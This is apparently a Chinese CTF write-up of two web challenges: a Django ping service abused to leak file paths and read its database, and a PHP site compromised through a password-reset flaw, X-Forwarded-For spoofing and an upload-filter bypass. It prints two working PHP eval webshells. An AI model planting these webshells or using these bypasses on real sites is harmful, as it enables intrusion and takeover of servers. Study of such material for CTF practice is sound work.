一.Cat
题目涉及知识点:
python Django web框架
一些基本配置:Django项目下一般有一个setting.py配置文件来设置数据库路径以及其他信息(默认数据库是sqlite3)
具体思路
打开题目叫我输入域名,先是输入baidu.com,没反应
然后再试试127.0.0.1,然后出现了ping命令的结果
看到这个以为是命令拼接执行,于是构造127.0.0.1 | dir
应该是被过滤了吧,
然后看了提示所可以读取文件,如何读取文件,总要直到一些文件路径吧,如何知道文件路径,想到了SQL注入里面的报错型注入,试着让它报错试试,输入一些非法字符看看能不能成功,最后构造?url=%80
(因为%80表示十进制的128,刚好超过ascii码),报出如下信息
信息太多了不好观察,又发现这是一个网页,将它复制出来,做个 html重新打开,
观察之后提取出很多信息
因为上图的PATH_INFO,也就是路径信息说明ping命令是在/opt/api/api下面执行的,所以可知setting.py绝对路径为/opt/api/api/setting.py
知道了数据的位置,我们来尝试读取数据库的信息(结合提示可以使用@来进行读取),构造?url=@/opt/api/database.sqlite3
爆出的信息也都是一个网页同上面操作一样做一个html便于观察,
在该页面找到了Flag.
二.Bug
先是尝试登录,admin+admin登陆失败,直接注册一个账号,刚开始注册账户名为admin时,系统提示该用户已存在(感觉到这道题和admin用户有关),换成admin1注册成功后直接登录
对出现的模块依次查看,Manage模块出现提示
需要admin权限才能查看,ChangePwd模块貌似只能修改当前用户的密码
logout之后发现还有一个FindPwd,点进去看看
可以改密码,好像还是修改的admin1用户的密码,打开burp,看看修改密码有什么东西吧,
这里把username改为admin后再发包,修改密码成功
登录后又提示,
再尝试修改XFF头为127.0.0.1,修改后发包出现提示
根据注释里面的<!-- index.php?module=filemanage&do=???-->
去访问
提示Action is not correct,说明do后面的参数不对,需要猜测do后面的动作,结合前面的filemanage
猜想是上传文件这类操作,构造upload或uploadfile
,最后在do=upload
时出现文件上传窗口,
开始上传文件,直接上传一句话木马1.php
<?php
@eval($_POST['a']);
?>
上传后提示是一个php
文件,再结合上传时抓包的情况,尝试修改MIME类型,image/jpeg
修改后,还是无变化,再来修改filename-------》php3,php5,php7,pht,phtml
,在修改为php5
出现下图
继续提示有些东西表示它还是php
文件,可能是识别到上传的一句话木马包括php
,所以尝试把一句话木马改为php脚本形式<script language='php'> eval(@$_POST['a']); </script>
成功拿到Flag!